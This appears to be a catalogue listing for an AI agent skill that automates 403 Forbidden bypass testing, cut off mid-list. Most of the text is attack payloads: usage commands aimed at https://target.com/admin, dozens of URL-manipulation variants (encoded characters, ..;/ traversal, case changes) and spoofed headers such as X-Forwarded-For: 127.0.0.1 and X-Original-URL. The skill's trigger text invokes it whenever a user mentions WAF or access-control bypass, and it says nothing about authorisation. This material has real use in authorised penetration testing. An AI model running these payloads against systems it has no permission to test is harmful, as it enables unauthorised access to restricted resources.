← ClaudeAtlas

403bypasslisted

Automated 403 Forbidden bypass testing using Jason Haddix's techniques. USE WHEN you encounter 403 responses during recon, content discovery returns 403 paths, or user mentions 403 bypass, forbidden bypass, access control bypass, or WAF bypass.
SecurityTalent/bugskill-ai · ★ 3 · AI & Automation · score 76
Install: claude install-skill SecurityTalent/bugskill-ai
# 403 Bypass Skill Automated testing of 403 Forbidden bypass techniques based on [Arcanum's hack_tips](https://github.com/Arcanum-Sec/hack_tips/blob/main/403bypass.md). ## When to Use - Content discovery finds 403 paths - Recon identifies forbidden endpoints - User asks to bypass 403/forbidden - Testing access control misconfigurations ## Quick Start ```bash # Test single URL ~/clawd/skills/403Bypass/scripts/bypass403.sh https://target.com/admin # Test multiple URLs from file cat 403-urls.txt | xargs -I {} ~/clawd/skills/403Bypass/scripts/bypass403.sh {} # Use nomore403 tool (more comprehensive) nomore403 -u https://target.com/admin ``` ## Bypass Techniques ### 1. URL Manipulation (Top 77 - Seclists jhaddix list) These work best on config files and global dashboards: ``` /admin/? //admin// ///admin/// /./admin/./ /admin?? /admin/?/ /admin/.. /admin/../ /admin/./ /admin/. /admin/.// /admin/* /admin/%2f /admin/%20 /admin/%09 /admin/%0a /admin/%0d /admin/%25 /admin/%23 /admin/%26 /admin/%3f /admin/# /admin/#/ /./admin /..;/admin /.;/admin /;/admin //;//admin /%2e/admin /admin/..;/ /admin.json /admin/.json /admin..;/ /admin;/ /admin%00 /admin.css /admin.html /admin?id=1 /admin~ /admin/°/ /admin/& /admin/- /admin\/\/ /admin/..%3B/ /admin/;%2f..%2f..%2f /ADMIN /admin/..\;/ /*/admin /ADM+IN ``` ### 2. Header Manipulation Add these headers to requests: ``` X-Forwarded-For: 127.0.0.1 X-Forwarded-Host: localhost X-Original-URL: /admin X-Rewrite-URL: /admin X-Custom-IP-Aut